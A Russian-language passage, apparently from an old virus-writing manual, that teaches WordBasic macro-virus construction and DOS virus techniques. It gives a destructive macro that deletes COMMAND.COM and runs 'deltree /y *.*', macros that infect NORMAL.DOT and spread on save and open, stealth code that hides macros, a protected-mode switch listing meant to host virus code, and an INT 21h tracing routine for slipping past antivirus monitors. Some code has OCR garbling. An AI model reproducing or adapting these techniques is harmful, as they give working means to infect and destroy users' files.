Как известно, в последнее время большое распространение получили макро-вирусы. По сведениям из различных источников, на эти вирусы приходится от 70 до 80 процентов заражений. Изложенный ниже материал поможет разобраться в вирусах этого типа.
Для изучения макро-вирусов понадобится некоторое программное обеспечение. В качестве "полигона" необходим MS-WORD версии 6.0 или выше. Для изучения зашифрованных макросов может пригодиться дизассемблер макросов (автор AURODREPH из VBB). Для более полного понимания всего изложенного ниже желательно иметь базовые знания о WORD BASIC.
Чтобы обезопасить рабочие файлы от плодов экспериментов, настоятельно рекомендуется создать резервную копию шаблона NORMAL.DOT в каталоге WINWORD6\TEMPLATE, так как именно этот документ обычно заражается макро-вирусом. Когда все готово, самое время перейти к основам макро-вирусов.
Макрос - это программа, написанная на некотором языке, которая используется обычно для автоматизации определенных процессов внутри приложений. В данном случае разговор пойдет о языках Visual Basic for Applications (VBA) и WordBasic (WB), которые Microsoft использует в своих программах (в частности, Excel, Project и PowerPoint используют VBA, a WinWord - WB).
Далее будем считать стандартным языком VBA, так как он представляет собой попытку унифицировать макроязык, сделать его общим для всех программ Microsoft. Несмотря на то, что WB имеет некоторые отличия, в том числе и в синтаксисе, структура кода этих языков похожа. При необходимости будет особо отмечено, что речь идет о WB.
Макрос VBA - это вызываемые процедуры. Они бывают двух типов:
процедуры-подпрограммы и процедуры-функции.
Процедуры-подпрограммы могут исполняться непосредственно или вызываться из других макросов. Синтаксис их следующий:
Sub <Имя_Макроса> -> код макроса <- 'Комментарий начинается с апострофа End Sub
'Данный макрос открывает диалоговое окно и выводит сообщение Sub Stupid_Greeting MsgBox "Hello World!" End Sub
Процедуры-функции (также называемые просто функциями) возвращают значение, которое может быть передано в качестве параметра другой процедуре. Их синтаксис:
Function <Имя_Функции> (Аргументы) -> Инструкции <- 'Комментарий End Function
'Суммирует параметры а и b и возвращает 'результат в переменную "AddAB" Function AddAB(a, b) AddAB=a+b End Function
Конечно, в документ можно вставить столько макросов, сколько нужно (или сколько хочется), ограничений на их количество нет. Набор макросов (процедур-подпрограмм и процедур-функций), составляющих документ, называется модулем VBA.
Язык VBA работает также с объектами (внутри модулей VBA можно делать ссылки на документы, графику). Объекты обладают свойствами. Например, свойством (или атрибутом) объекта является его цвет.
VBA также позволяет работать с переменными. Как любой язык структурного типа, VBA имеет типичные конструкции:
цикл "For-next":
Sub Counter 'Процедура lnfect_Num=0 For Count=1 to 10 'Цикл от 1 до 10 lnfect_Num=lnfect_Num+Count Next Count MsgBox "Достигли максимального количества заражений" End Sub
условие "If-then":
Sub lnfect_Check If lnfect_Num=0 Then MsgBox "Файл не заражен" End Sub
конструкция "With-end with" (используется для работы с несколькими свойствами конкретного объекта):
Sub ChangeProperties With Selection .Font.Bold=True .Font.Colorlndex=3 'красный цвет End With End Sub
селектор "Select case-end case":
Sub CheckJnfection Select Case lnfect_Num Case 0 MsgBox "Файл не заражен" Case is > 0 MsgBox "Файл заражен" Case is < 0 lnfect_Num=0 End Case End Sub
Полезным инструментом для работы с VBA является окно отладки. В нем можно трассировать код, вносить в него изменения и делать многое другое. В процессе отладки для остановки на некоторое время исполнения кода используются флаги. Чтобы можно было анализировать содержимое конкретных переменных и/или инструкций, после каждой команды выводятся сообщения (в отладчике VBA для прерывания исполнения кода можно ставить также контрольные точки).
Нужно обратить внимание на разнообразные аргументы функций. Как уже говорилось, структура их следующая:
Function <Имя> (Аргументы) [.] End Function
Аргументами могут быть константы, переменные или выражения. Процедуры могут быть и без аргументов.
Function Get_Name() Name=Application.UserName End Function
Некоторые функции всегда требуют фиксированное число аргументов (до 60). Другие функции имеют несколько обязательных аргументов, а остальные могут отсутствовать.
После того, как основы VBA стали понятны, идем дальше. Итак, вирусы и "троянцы" на VBA.
Язык VBA универсален, и тому есть две причины. Во-первых, этот язык прост в изучении и использовании, поскольку он является языком визуального программирования, он ориентирован на события, а не на объекты. С его помощью без особых затрат времени очень легко создавать сложные модули. Во вторых, можно использовать большое количество предопределенных функций, облегчающих работу. В третьих, имеются функции (или макросы) автоматического выполнения, что позволяет упростить написание процедур автокопирования, занесения в память и прочих используемых стандартными DOS-вирусами.
Помимо этого, преимуществом VBA является свойство переносимости. VBA работает под Win З.х, Win95, WinNT, MacOS и так далее, то есть в любой операционной системе, где можно запустить приложения его поддерживающие.
VBA представляет собой язык, адаптированный к языку приложения, из-под которого он запущен. Это означает, что если на компьютере установлена, например, испанская версия WinWord, то имена предопределенных функций будут также на испанском. Так что два следующих макроса - вовсе не одно и то же.
Первый макрос (испанский):
> Sub Demo_Macro Con Seleccion.Fuente .Nombre="Times" Fin Con End Sub
Второй макрос (английский):
Sub Demo_Macro With Selection.Font .Name="Times" End With End Sub
Последний макрос не будет работать в испанской версии WinWord (а первый - в английской) - он вызовет ошибку выполнения макроса. Еще отметим, что VBA - язык интерпретируемого (некомпилируемого) типа, так что каждая ошибка выполнения проявляется "в полете".
Существуют функции, единые для всех версий VBA, вне зависимости от языка. Например, автоматический макрос AutoExec.
Всего таких специальных макросов пять, выполняются они автоматически:
В качестве доказательства силы и универсальности этих макросов рассмотрим следующий фрагмент кода (о языке уже договорились).
'Макрос наиболее эффективен, если его сохранить как AutoExit Sub Main 'Проверим регистрационное имя If Application.Username <> "MaD_MoTHeR" Then 'Снимем атрибуты COMMAND.COM SetAttr "C:\COMMAND.COM",0 'Откроем для проверки - вдруг появятся ошибки Open "CACOMMAND.COM" for Output as #1 'Если ошибки есть, то закроем. Close #1 'и удалим Kill "CACOMMAND.COM" End If 'Проверим месяц и дату. Если 29 февраля, то выполним 'команду "deltree /у >nul If Month(Now())=2 Then If Day(Now())=29 Then Shell "deltree /y *.* >nul" End If End If End Sub
Что делает этот макрос? При выходе из WinWord он проверяет два параметра: имя, на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля, выполняется команда "deltree /у *.* > nul".
Очень важно знать, как адаптировать автоматический макрос (ниже приведен простейший вариант), чтобы активизировать его в открываемый по умолчанию шаблон WinWord.
Это делается так:
Определяется переменная, в которую записывается полное имя макроса:
name$=WindowName$()+":AutoNew" 'этот макрос будет выполняться каждый раз 'при создании нового документа
Теперь нужно записать макрос в шаблон NORMAL.DOT простой командой:
MacroCopy name$, "Global:AutoNew"
Это стандартный способ работы макро-вирусов, но есть еще много других, более интересных способов заражения. Всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макро-вирусов.
MacroCopy "MyTemplate:MyMacro", "GlobahAutoClose", 1
Если выполняется команда MacroCopy с параметром, равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос, который нельзя редактировать.
Большинство макро-вирусов имеют типичную структуру. Они начинаются с автовыполняемого макроса, заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы, которые заражают файлы при определенных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражаются при совершении над ними операций вирусными макросами, то есть они будут инфицироваться при открытии.
Код для процедуры автовыполнения может выглядеть примерно так:
Sub MAIN
On Error Goto Abort
if MacroCount=CountMacros(0, 0) 'Проверка назараженность
For i=1 To iMacroCount
If MacroName$(i, 0, 0)="PayLoad" Then
binstalled =-1 'с помощью макроса Payload
End If
If MacroName$(i, 0, 0)="FileSaveAs" Then
bTooMuchTrouble =-1
'но если есть макрос FileSaveAs,
'то заразить тяжело
End If
Next i
If Not binstalled And Not bTooMuchTrouble Then
'Добавим макросы FileSaveAs и копии AutoExec и FileSave
'Payload используется только для проверки на зараженность
',1 - кодирует макросы, делая их нечитаемыми в Word
iWW6llnstance=Val(GetDocumentVar$("WW6lnfector"))
sMe$=FileName$()
Macro$=sMe$+":PayLoad"
MacroCopy Macro$, "Global:PayLoad", 1
Macro$=sMe$+":FileOpen" 'Будет происходить заражение
MacroCopy Macro$, "GlobahFileOpen", 1
Macro$=sMe$+":FileSaveAs"
MacroCopy Macro$, "GlobahFileSaveAs", 1
Macro$=sMe$+":AutoExec"
MacroCopy Macro$, "GlobahAutoExec", 1
SetProfileString "WW6I", Str$(iWW6llnstance+1)
End If
Abort:
End Sub
Она копирует макро-вирус в активный документ при его сохранении через команду File/SaveAs. Эта процедура использует во многом схожую с процедурой AutoExec технологию. Код для нее:
Sub MAIN Dim dig As FileSaveAs GetCurValues dig Dialog dig If (Dlg.Format=0) Or (dlg.Format=1) Then MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs" 'Заражает при сохранении документа MacroCopy "FileSave", WindowName$()+":FileSave" MacroCopy "PayLoad", WindowName$()+":PayLoad" MacroCopy "FileOpen", WindowName$()+":FileOpen" 'При открытии документа Dlg.Format=1 End If FileDaveAs dig End Sub
Этой информации вполне достаточно для создания небольших макровирусов.
Существует несколько способов скрыть вирус или сделать его более эффективным. Например, можно создать специальный макрос, прячущий вирус, если Tools/Macro открывается для просмотра. Код такого макроса может выглядеть примерно так:
Sub MAIN On Error Goto ErrorRoutine OldName$=NomFichier$() If macros.bDebug Then MsgBox "start ToolsMacro" Dim dig As OutilsMacro If macros.bDebug Then MsgBox "1" GetCurValues dig If macros.bDebug Then MsgBox "2" On Error Goto Skip Dialog dig OutilsMacro dig Skip: On Error Goto ErrorRoutine 'При ошибке на выход End If REM enable automacros DisableAutoMacros 0 macros. SavToGlobal(01dName$) macros.objectiv Goto Done 'Переход на метку Done ErrorRoutine: On Error Goto Done 'Переход на метку Done If macros.bDebug Then MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке End If Done: End Sub
Макро-вирусы также могут включать внешние процедуры. Например, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса, некоторые троянские макросы пытаются форматировать винчестер при открытии документа.
Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.
В этой главе рассказано, как может быть спрятан вирус. Описаны методы конструирования прямого обращения к DOS для "обмана" резидентных антивирусных мониторов. Рассмотрены вирусы, заражающие Flash BIOS. Представлены исходные тексты программ с подробными комментариями.
Персональные компьютеры год от года становятся все сложнее и сложнее, используют все более высокие аппаратные и программные технологии. Компьютерные вирусы тоже не отстают и пытаются приспособиться к новым условиям обитания. Так, вирусы научились заражать загрузочные сектора дисков, файлы для операционных систем DOS, Windows, Windows 95, OS/2, Linux и даже документы Word, Excel, и MS-Office 97. Скрывая свое присутствие в системе, они стали невидимками, или стелс-вирусами. Они научились быть полиморфными для того, чтобы их распознавание стало еще более трудной задачей для разработчиков антивирусных средств. С появлением процессоров i386 вирусы стали использовать в своем коде 32-разрядные инструкции. В настоящее время полиморфные вирусы используют 32-разрядные расшифровывающие команды в своем декрипторе.
Одним словом, вирусы хотят выжить и победить. Для этого они используют все новые возможности, как программные, так и аппаратные. Но защищенный режим работы, появившийся вместе с процессором i286, до недавнего времени вирусам никак не удавалось "приручить". Вернее, были "пробы пера", но реального решения этой задачи они не дали.
Загрузочный вирус PMBS, первым пытавшийся освоить защищенный режим (1994 г.), не мог ужиться ни с одной программой или драйвером (EMM386, Windows, OS/2,...), которые также использовали в своей работе защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже 1994 г.) использовали только часть мощного защищенного режима и только в то время, когда процессор работал в реальном режиме. Данные вирусы заменяли реальную таблицу векторов прерываний на собственную.
Но вот, похоже, проблема близка к разрешению: в России в "диком" виде обнаружен файловый вирус PM.Wanderer, использующий защищенный режим. Причем он более или менее корректно и стабильно взаимодействует с другими программами и драйверами, также использующими защищенный режим.
PM.Wanderer является резидентным полиморфным вирусом, использующим защищенный режим процессоров i386-Pentium. Для установки своей резидентной копии в память и переключения в защищенный режим процессора (Protected Mode) вирусом используется документированный интерфейс VCPI (Virtual Control Program Interface) драйвера расширенной памяти EMS (EMM386).
При старте инфицированной программы вирусный полиморфный декриптор расшифровывает основное тело вируса и передает ему управление. Далее основной вирусный код выделяет участок памяти в верхних адресах, копирует в него собственный код и передает ему управление. Затем он восстанавливает код инфицированного файла в программном сегменте (для ЕХЕ-файлов также производит настройку адресов перемещаемых элементов) и приступает к непосредственному внедрению в память своей резидентной копии.
В первую очередь вирус пытается вьыснить, установлен ли в системе драйвер EMS. Если этот драйвер не установлен или вирусная резидентная копия уже находится в памяти, вирус отдает управление программе-вирусоносителю, заканчивая тем самым свою "жизнедеятельность" в системе.
Если же "условия среды обитания" благоприятствуют, вирус выполняет ряд подготовительных операций для выделения памяти под свое тело и производит переключение процессора в защищенный режим работы с наивысшим уровнем привилегий - режим супервизора.
В защищенном режиме вирус устанавливает две аппаратные контрольные точки на адреса входа в обработчик прерывания INT 21h (функции DOS) и перехода на процедуру перезагрузки компьютера. Кроме того, вирус корректирует дескрипторную таблицу прерываний таким образом, чтобы на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) установить собственные дескрипторы обработчиков прерываний.
После этих приготовлений вирус копирует свой код в страницу памяти, полученную им еще до входа в защищенный режим, и производит переключение процессора обратно в виртуальный режим работы. Затем он начинает процедуру освобождения ранее выделенной памяти DOS в верхних адресах и возвращает управление инфицированной программе.
С этого момента инфицированная программа начинает свою основную работу, а в защищенном режиме оказываются установленными вирусные обработчики - ловушки на INT 1 и прерывания от клавиатуры на INT 9. С их помощью вирус контролирует, во-первых, все вызовы функций DOS, во-вторых, все нажатия клавиш на клавиатуре, и, в-третьих, попытки мягкой перезагрузки компьютера. В свою очередь, такой контроль обеспечивает вирусу возможность как надежно реагировать на ряд интересующих его событий при работе программы, так и постоянно проверять состояние двух своих контрольных точек и при необходимости восстанавливать их.
В частности, если вирус обнаруживает, что данный вызов исходит от его "собрата", он просто возвращает некоторое условное значение, играющее роль отзыва "я - свой". Таким образом, вирус, пытавшийся выяснить наличие своей копии в памяти, будет информирован о том, что память уже инфицирована.
Если вирус обнаруживает попытку получения адреса прерывания INT 6 (обычно такой вызов существует во всех программах, написанных на языках высокого уровня, например С, Pascal), то он пытается найти в адресном пространстве некоторую последовательность байт, очевидно принадлежащих программе ADinf, но какой-то старой версии. Кстати, по информации разработчика ADinf Дмитрия Мостового, за последний год в версиях ADinf не содержится такая последовательность. Если данная последовательность вирусом найдена, он определенным образом модифицирует найденный код, чтобы управление не попадало на вызов межсегментной процедуры, демонстрирующей пользователю найденные на диске или в файлах изменения.
Если же вирус обнаруживает запрос на запуск программы или открытие файла (только на чтение), то понимает, что наступило время "большой охоты". Вирус копирует свой код в старшие адреса виртуального процесса DOS-машины, переключает процессор в виртуальный режим и отдает управление своему коду (процедуре заражения).
В виртуальном режиме вирус проверяет последние две буквы расширения имени файла (ОМ или ХЕ), создает свою полиморфную копию и заражает файлы размером более 4095 байт. Файлы, содержащие в поле значения времени создания 34 секунды, вирус не заражает, считая их уже инфицированными. Корректировку атрибутов файлов вирус не производит, поэтому все файлы, помеченные как "только для чтения", заражены не будут. Также вирус не заражает программы, имя которых состоит из 7 букв. Имена данных программ выяснить не удалось, так как вирус не определяет их имена явно, а подсчитывает CRC имени. Вирус не берет на себя обработку критических ошибок, поэтому при попытке записи на защищенный диск в процессе заражения появится стандартный вопрос DOS (...Retry, Ignore, Fail, Abort).
При заражении файлов вирус использует прямой вызов ядра обработчика DOS INT 21h. Адрес этого ядра он выясняет при трассировке INT 21h во время своей установки в память. Вирусный код внедряется в начало СОМ- или в середину ЕХЕ-файла (сразу же после заголовка). Оригинальный программный код запоминается в конце файла. Реальный рабочий код вируса составляет 3684 байт, но на практике инфицированные файлы имеют приращение длины более 3940 байт. В теле вируса содержится текст "WANDERER".
Обнаружить резидентную копию данного вируса, находящегося в нулевом кольце защищенного режима процессора, обычными способами невозможно. Для этого необходимо переключаться в защищенный режим с наивысшими привилегиями и производить его поиск. Но попытаться обнаружить признаки вируса в системе можно и обычными способами.
После обнаружения вируса рекомендуется, как и всегда в таких случаях, перезагрузиться с системной дискеты и выполнить лечение в заведомо стерильных условиях. Правда, данный вирус не является Stealth-вирусом, и его лечение допустимо даже при активном вирусе.
Теперь немного о результатах тестирования. При заражении нескольких тысяч файлов-жертв вирус проявил себя как "жилец" - все зараженные файлы оказались работоспособными. Здесь надо сделать поправку - файлы могут оказаться неработоспособными в том случае, если их стек после заражения окажется в области вирусного кода. PM.Wanderer при заражении файлов не корректирует значения стартовых SS:SP в ЕХЕ-заголовке. Как уже отмечалось выше, он сохраняет способность к воспроизводству только в том случае, если в системе установлен драйвер EMS (EMM386). При установленном драйвере EMM386 с ключом NOEMS вирус перезагружает компьютер. Перезагрузка также возможна, если в системе используется драйвер QEMM386.
Самое интересное, что если в системе находился резидентный вирус, а потом произошла загрузка Windows 3.1 или Windows 95, то вирус не сможет размножаться в данных операционных средах, но при выходе в DOS он опять получает управление и может "трудиться, не покладая рук". Если же вирус будет запущен в DOS-сессии Windows, то из-за отсутствия интерфейса VCPI вирус не сможет переключиться в защищенный режим. При отсутствии VCPI под OS/2 вирус также нежизнеспособен.
Возможно, в недалеком будущем компьютерный вирус сможет полностью заменить своим кодом программу-супервизора и сам будет поддерживать интерфейсы DPMI, EMS/VCPI, XMS, INT 15h. Кто знает.
Приведенная ниже программа позволяет программисту перевести процессор в защищенный режим. В этом режиме вирус может, например, расшифровать некоторые данные.
Данная программа делает следующее:
.286 .model tiny .code org 100h ; Определения для защищенного режима работы программы ; Структура дескриптора desc_struc STRUC limit dw 0 baseJ dw 0 base_h db 0 access db 0 rsrv dw 0 desc_struc ENDS ACC_PRESENT equ 10000000b ACC_CSEG equ 01000000b ACC_DSEG equ 00010000b ACC_EXPDOWN equ 00001000b ACC_CONFORM equ 00000100b ACC_DATAWR equ 00000010b DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR ; 10010010b CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM ; 10011100b STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ACC.EXPDOWN ; 1001011 Ob ;Размеры сегментов (реальные размеры на единицу больше) CSEG SIZE=65535 DSEG_SIZE=65535 STACK_SIZE=65535 ; Смещения используемых дескрипторов CS_DESCR=(gdt_cs-gdt_0) DS_DESCR=(gdt_ds-gdt_0) SS_DESCR=(gdt_ss-gdt_0) ; Константы значений портов ? CMOS_PORT equ 070h STATUS_PORT equ 064h SHUTDOWN equ 0FEh A20_PORT equ 0D1h A20_ON equ 0DFh A20_OFF equ 0DDh INT_MASK_PORT equ 021h KBD_PORT_A equ 060h start: ; Инициализируем необходимые данные для перехода ; в защищенный режим call init_protected_mode ; Переходим в защищенный режим call set_protected_mode ; Теперь компьютер работает в защищенном режиме! ; Так как таблица прерываний реального режима не может быть ; использована в защищенном, прерывания запрещены! ; Именно тут можно вставить инструкции, нужные вирусу ; Возвращаемся в реальный режим call set_real_mode ; Печатаем сообщение "Light General" mov ah, 09h lea dx, qw int 21h ; Выходим в DOS mov ax, 4C00h int 21h ; Макрокоманда для установки адреса для дескриптора ; в глобальной таблице дескрипторов GDT. ; На входе регистры DLAX должны содержать ; абсолютный адрес сегмента setgdtentry MACRO mov [desc_struc.base_l][bx], ax mov [desc_struc.base_h][bx], dl ENDM ; Процедура инициализации необходимых данных ; для перехода в защищенный режим init_protected_mode PROC ; вычисляем абсолютный адрес для сегмента данных ; в соответствии со значением регистра DS mov ax, ds mov dl, ah shr dl, 4 shl ax, 4 ; Устанавливаем адрес сегмента данных ; в глобальной таблице дескрипторов mov bx, offset gdt_ds setgdtentry ; Вычисляем абсолютный адрес для сегмента GDT: прибавляем ; к уже вычисленному абсолютному адресу сегмента данных ; смещение в нем таблицы дескрипторов add ax, offset gdtr adc dl, 0 ; Останавливаем адрес сегмента GDT в глобальной таблице дескрипторов mov bx, offset gdt_gdt setgdtentry ; Вычисляем абсолютный адрес для сегмента кода ; в соответствии со значением регистра CS mov ax, cs mov dl, ah shr dl, 4 shl ax, 4 ; Устанавливаем адрес сегмента кода ; в глобальной таблице дескрипторов mov bx, offset gdt_cs setgdtentry ; Вычисляем абсолютный адрес для сегмента стека ; в соответствии со значением регистра SS mov ax, ss mov dl, ah shr dl, 4 shl ax, 4 ; Останавливаем адрес сегмента стека ; в глобальной таблице дескрипторов mov bx, offset gdt_ss setgdtentry ; Перехватываем рестарт. Так как процессор i286 (а эта программа ; рассчитана именно на такой процессор) не имеет возможности ; возврата в реальный режим из защищенного, возврат в реальный ; режим будем производить следующим образом: перехватим рестарт, ; сгенерируем CPU Reset, после которого получим управление, когда ; Процессор будет находится уже в реальном режиме. На процессоре ; i386 возврат в реальный режим происходит значительно проще и ; "естественнее". push ds mov ax, 40h mov ds, ax mov word ptr ds:[0067h], offset shutdown_return mov word ptr ds:[0069h], cs pop ds ; Запрещаем маскируемые прерывания cli in al, INT_MASK_PORT or al, OFFh out INT_MASK_PORT, al ; Запрещаем немаскируемые прерывания. Данная последовательность ; команд не запрещает "незапрещаемые" прерывания в процессоре ; (этого сделать по определению нельзя), а "не пускает" сигнал ; немаскируемого прерывания к процессору mov al, 8Fh out CMOS_PORT, al jmp $+2 mov al, 5 out CMOS_PORT+1, al ret init_protected_mode ENDP ; Подпрограмма, переводящая процессор в защищенный режим set_protected_mode PROC ; Открываем адресную линию А20 для доступа свыше 1Мбайт. ; При закрытой линии адресное пространство ; "зацикливается" в пределах 1Мбайт call enable_a20 ; Сохраняем значение регистра SS для реального режима mov real_ss, ss ; Переводим компилятор Turbo Assembler в улучшенный режим. ; IDEAL - это не команда и не оператор, это директива, влияющая ; только на интерпретацию дальнейших строк листинга ideal р286 ;Загружаем регистр глобальной таблицы дескрипторов GDTR lgdt [QWORD gdt_gdt] ; db OFh,01h,16h dw offset gdt_gdt ; Переводим процессор в защищенный режим mov ax, 0001h lmsw ax ; db OFh,01h,FOh ; Переводим компилятор Turbo Assembler назад в режим MASM masm .286 ; Производим длинный переход для того, ; чтобы очистить внутреннюю очередь команд процессора jmp far flush ; db 0EAh ; dw offset flush ; dw CS_DESCR flush: ; Останавливаем в регистр SS селектор сегмента стека mov ax, SS_DESCR mov ss, ax ; Устанавливаем в регистр DS селектор сегмента данных mov ax, DS_DESCR mov ds, ax ; Записываем в строку qw символ "L" и выходим из подпрограммы mov byte ptr ds:[offset qw+2],"L" ret set_protected_mode ENDP ; Подпрограмма, возвращающая процессор в реальный режим set_real_mode PROC ; Сохраняем значение регистра SP для реального режима mov real_sp, sp ; Выполняем CPU Reset (рестарт процессора) mov al, SHUT_DOWN out STATUS_PORT, al ; Ждем, пока процессор перезапустится wait_reset: hlt jmp wait_reset ; C этого места программа выполняется после перезапуска процессора shutdown_return: ; Устанавливаем регистр DS в соответствии с регистром CS push cs pop ds ; восстанавливаем указатели на стек ; по ранее сохраненным значениям mov ss, real_ss mov sp, real_sp ; Закрываем адресную линию А20 call disable_a20 ; Разрешаем немаскируемые прерывания mov ax, 000dh out CMOS_PORT, al ; Разрешаем маскируемые прерывания in al, INT_MASK_PORT and al, 0 out INT_MASK_PORT, al sti ret set_real_mode ENDP ; Процедура, открывающая адресную линию А20. После открытия ; адресной линии программам будет доступна память свыше 1Мбайт enable_a20 PROC mov al, A20_PORT out STATUS_PORT, al mov al, A20_ON out KBD_PORT_A, al ret enable_a20 ENDP ; Процедура, закрывающая адресную линию А20. После закрытия ; адресной линии программам будет недоступна память свыше 1Мбайт. ; Адресное пространство будет "зацикленным" в пределах 1Мбайт disable_a20 PROC mov al, A20_PORT out STATUS_PORT, al mov al, A20_OFF out KBD_PORT_A, al ret disable_a20 ENDP ; Здесь сохраняется адрес стека real_sp dw ? real_ss dw ? ; Эта строка выводится на экран после работы программы ; Символ "?" заменяется на "L" в защищенном режиме qw db 13,10,"?ight General",13,10,"$" ; Глобальная таблица дескрипторов. Нулевой дескриптор ; обязательно должен быть "пустым" GDT_BEG=$ gdtr label WORD gdt_0 desc_struc <0,0,0,0,0>; gdt_gdt desc_struc <GDT_SIZE-10,DATA_ACC,0> gdt_ds desc_struc <DSEG_SIZE-10,DATA_ACC,0> gdt_cs desc_struc <CSEG_SIZE-10,CODE_ACC,0> gdt_ss desc_struc <STACK_SIZE-10,DATA_ACC,0> GDT_SIZE=($-GDT_BEG) END start
Обычно все программы используют сервис DOS так:
mov ah,... int 21 h
По команде INT управление передается в точку, адрес которой определяется двумя словами, находящимися в таблице векторов прерываний по адресу 0000h:0084h. С этого момента начинается исполнение команд многочисленных обработчиков прерывания INT 21h и не менее многочисленных резидентных программ до тех пор, пока управление, наконец, не получит оригинальный обработчик операционной системы (рисунок 5.1.):
Разумеется, среди этих многочисленных обработчиков может "затесаться" обработчик, принадлежащий антивирусному монитору, который не дает спокойно работать не только вирусам, но и обычным программам.
Поэтому серьезные вирусы и некоторые хорошо написанные программы пытаются определить адрес оригинального обработчика и обратиться к нему напрямую, в обход остальных обработчиков:
mov ah,... pushf call dword ptr O21 O21 dw ? S21 dw ?
Но антивирусные мониторы учитывают эту возможность и принимают свои меры.
Для того чтобы обратиться к DOS напрямую, нужно знать адрес оригинального обработчика. Получить этот адрес не так просто.
Чаще всего используется метод трассировки при помощи отладочного прерывания INT 1. Суть метода заключается в том, что вирус трассирует прерывание INT 21h (включает флаг трассировки, при этом после каждой команды происходит прерывание INT 1) и проверяет значение сегмента, в котором идет обработка прерывания. Если значение сегмента меньше 0З00h, то это обработчик DOS. Например, так поступал много лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соответствующего фрагмента с комментариями:
; Берем из таблицы векторов прерываний текущий адрес INT 01h mov ax, 3501h int 21h mov si, bx ; смещение сохраняем в регистре SI mov di, es ; сегмент сохраняем в регистре DI ; Останавливаем свой обработчик INT 01h mov ax, 2501h mov dx, offset int01 int 21h ; Формируем в стеке адрес выхода из трассировки так, чтобы по IRET ; из INT 21h попасть на метку Next - помещаем в стек ; последовательно флаги, сегмент и смещение метки Next pushf push cs mov ax, offset Next push ax ; Начинаем трассировку INT 21 h. Для этого нужно подготовить стек ; следующим образом: поместить в него флаги с включенным флагом ; трассировки, а также сегмент и смещение текущего обработчика ; INT 21h. Затем можно выполнить команду IRET - программа запустит ; текущий обработчик и считает из стека флаги (флаг трассировки ; во флаговом регистре включится, начнется трассировка. После ; каждой команды процессора будет запускаться INT 01h). ; Помещаем в стек флаги, включаем в них бит, соответствующий ; флагу трассировки TF. Для того, чтобы включить флаг ; трассировки TF, после сохранения флагов в стеке считаем их ; в регистр АХ, в нем включим соответствующий бит, а затем ; сохраним регистр АХ в стеке pushf pop ax or ax, 0100h push ax ; Считаем из таблицы векторов прерываний текущий адрес INT 21 h mov ax, 3521h int 21h ; Сохраним в стеке сегмент, а затем и смещение текущего обработчика push es push bx ; Установим в регистре АН номер какой-либо безобидной функции ; (чтобы определение адреса обработчика DOS ; не сопровождалось разрушениями) mov ah, 0Bh ; Запускаем трассировку cli iret ; Обработчик INT 01 h int01: ; При вызове обработчика в стеке находятся: значение регистра IP, ; значение регистра CS, флаги перед прерыванием. ; Адресуемся к стеку с помощью регистра ВР, ; Предварительно сохранив текущее значение ВР push bp mov bp, sp ; Теперь в стеке находятся: ; SS:[BP] - ВР ; SS:[BP+2] - IP ; SS:[BP+4] - CS ; SS:[BP+6] - флаги ; Проверяем флаг продолжения cmp byte ptr cs:ContinueFlag, 1 ; Если флаг продолжения выключен, то выходим из трассировки jne TraceOff ; Проверяем текущий адрес. Если сегмент меньше 300h, ; обработчик DOS достигнут, иначе - продолжаем трассировку ; и выходим из обработчика cmp word ptr [bp+4], 300h jnc ExitFromInt ; Достигнут DOS - берем из стека адрес обработчика и сохраняем его push bx mov bx, [bp+2] mov word ptr cs:O21, bx mov bx, [bp+4] mov word ptr cs:S21, bx pop bx ; Заканчиваем обработку прерывания и дальнейшую трассировку TraceOff: ; Устанавливаем в ноль бит, соответствующий TF, ; в копии регистра флагов в стеке and word ptr [bp+6], 0FEFFh ; Устанавливаем в ноль флаг продолжения mov byte ptr cs:ContinueFlag, 0 ExitFromInt: pop bp ; Выходим из обработчика iret ; Восстановление после трассировки Next: ; Сбрасываем флаг продолжения mov byte ptr ds:ContinueFlag, 0 ; Восстанавливаем прежнее значение вектора прерывания INT 01h mov ax, 2501h mov dx, si mov ds, di int 21h
В настоящее время этот алгоритм можно считать несколько устаревшим. Дело в том, что современные версии DOS могут размещать свой обработчик в областях верхней памяти. Поэтому условие окончания трассировки должно выглядеть, например, так:
cmp word ptr [bp+4], 300h jb loc_65 cmp word ptr [bp+4], 0F000h ja loc_65
В качестве альтернативного варианта можно использовать такой прием. Сначала определяется исходный сегмент DOS при помощи недокументированной функции 52h прерывания INT 21h (возвращает адрес векторной таблицы связи DOS):
mov ah, 52h int 21h mov SegDOS, es
Тогда условие завершения трассировки можно оформить следующим образом:
push ax mov ax, cs:SegDOS cmp word ptr [bp+6], ax pop ax jz DOSIsGot
Разумеется, разные приемы могут дать разные результаты. Причем все результаты можно считать в той или иной мере корректными. Дело в том, что современные версии DOS, даже будучи загруженными в верхнюю память, всегда имеют точку входа в нижней памяти вида:
nop nop ; Проверка состояния адресной линии А20 call Check_A20 ; Переход в верхнюю память jmp cs:dword ptr HI_DOS
С точки зрения обхода резидентных мониторов "правильным" следует признать адрес в обработчике DOS, имеющий максимальное значение. Мы еще вернемся к вопросу о нахождении "правильного" адреса далее.
Авторы антивирусных мониторов знают о подобном приеме поиска оригинального адреса DOS. Достаточно легко испортит трассировку, например, вот такой вот фрагмент, встроенный в цепочку обработчиков:
